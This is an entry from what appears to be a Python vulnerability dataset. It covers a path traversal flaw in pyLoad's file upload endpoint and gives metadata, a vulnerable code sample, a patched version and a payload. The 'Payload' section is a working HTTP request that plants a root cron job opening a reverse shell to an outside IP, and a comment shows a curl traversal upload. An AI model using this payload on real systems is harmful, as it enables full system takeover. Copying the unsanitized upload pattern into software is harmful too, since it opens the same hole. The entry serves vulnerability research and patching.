CVE-2025-54140
pyLoad auth path traversal via file upload allows arbitrary file write.
- CVSS 7.5
- CWE-22
- Input Validation and Sanitization
- Remote
pyLoad is a free and open-source Download Manager written in pure Python. In version 0.5.0b3.dev89, an authenticated path traversal vulnerability exists in the /json/upload endpoint of pyLoad. By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to: Remote Code Execution (RCE), local privilege escalation, system-wide compromise, persistence, and backdoors. This is fixed in version 0.5.0b3.dev90.
- CWE
- CWE-22
- CVSS base score
- 7.5
- Published
- 2025-07-22
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- pyLoad
- Fixed by upgrading
- Yes
Solution
Upgrade pyLoad to version 0.5.0b3.dev90 or later.
Vulnerable code sample
import os
from flask import Flask, request, jsonify
# This is a simplified representation of the vulnerable pyLoad application.
# The actual pyLoad codebase is more complex, but this captures the essence
# of the path traversal vulnerability in the file upload functionality.
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
# Ensure the upload directory exists
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
@app.route('/json/upload', methods=['POST'])
def upload_file():
"""Vulnerable function that demonstrates the security issue."""
# In a real application, there would be an authentication check here.
# We assume the user is authenticated for this demonstration.
if 'file' not in request.files:
return jsonify({"error": "No file part"}), 400
file = request.files['file']
if file.filename == '':
return jsonify({"error": "No selected file"}), 400
if file:
# VULNERABLE PART: The filename from the request is used directly
# without any sanitization or validation. An attacker can provide
# a filename like "../../../../../tmp/pwned.txt" to write a file
# outside of the intended UPLOAD_FOLDER.
filename = file.filename
# The os.path.join call will naively combine the base directory
# with the malicious path provided by the attacker, allowing traversal.
save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
# To prevent accidental damage on the system running this PoC,
# we normalize the path and check if it's still within the intended
# upload directory. The VULNERABLE code did NOT have this check.
# For this demonstration to be safe, we'll print the intended action
# instead of performing the actual file write.
# The line that was actually executed in the vulnerable version was:
# file.save(save_path)
print(f"[VULNERABLE ACTION] Intending to save file to: {save_path}")
# To make this script runnable without causing harm, the actual save is commented out.
# In the real vulnerable version, this line would be active:
# file.save(save_path)
# Simulating a successful response
return jsonify({"message": f"File '{filename}' upload processed.", "save_path": save_path}), 200
if __name__ == '__main__':
# To test this vulnerability:
# 1. Run this Python script.
# 2. Use a command like curl to simulate the malicious upload:
# curl -X POST -F "file=@/path/to/some/local/file.txt;filename=../../../../tmp/pwned_by_poc.txt" http://127.0.0.1:5000/json/upload
# 3. Check the console output of the script. It will show that it intended
# to write to a path outside the 'uploads' directory. In a real vulnerable
# instance, the file would have been created at /tmp/pwned_by_poc.txt.
app.run(debug=True, port=5000)Patched code sample
import os
def save_uploaded_file(upload_directory, unsafe_filename, file_content):
"""
Securely saves a file by sanitizing the filename to prevent path traversal.
This function represents the fix for a vulnerability where a user-provided
filename is not sanitized before being joined with the upload directory path.
"""
# FIX: Sanitize the filename by using os.path.basename().
# This function strips all leading directory information from the filename.
# For example, an input like '../../../../etc/passwd' becomes 'passwd'.
# This prevents the file from being written outside the intended directory.
safe_filename = os.path.basename(unsafe_filename)
# Ensure the filename is not empty or just a dot after sanitization.
if not safe_filename or safe_filename in {'.', '..'}:
raise ValueError("Invalid filename provided.")
# Securely construct the full path to the destination file.
# os.path.join() will now correctly append the sanitized filename to
# the upload directory.
destination_path = os.path.join(upload_directory, safe_filename)
# For added security (defense-in-depth), verify that the final resolved path
# is still inside the intended upload directory. This helps defeat more
# complex attacks, such as those involving symlinks.
real_upload_dir = os.path.realpath(upload_directory)
real_destination_path = os.path.realpath(destination_path)
if not real_destination_path.startswith(real_upload_dir + os.sep):
raise ValueError("Path traversal attempt detected and blocked.")
# Write the file to the secure and verified path.
with open(destination_path, "wb") as f:
f.write(file_content)Payload
POST /json/upload HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryA1B2c3D4e5
Cookie: session=your_valid_session_cookie_here
Content-Length: 207
------WebKitFormBoundaryA1B2c3D4e5
Content-Disposition: form-data; name="file"; filename="../../../../../../../../../etc/cron.d/pyload-rce"
* * * * * root /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"
------WebKitFormBoundaryA1B2c3D4e5--
Cite this entry
@misc{vaitp:cve202554140,
title = {{pyLoad auth path traversal via file upload allows arbitrary file write.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-54140},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54140/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
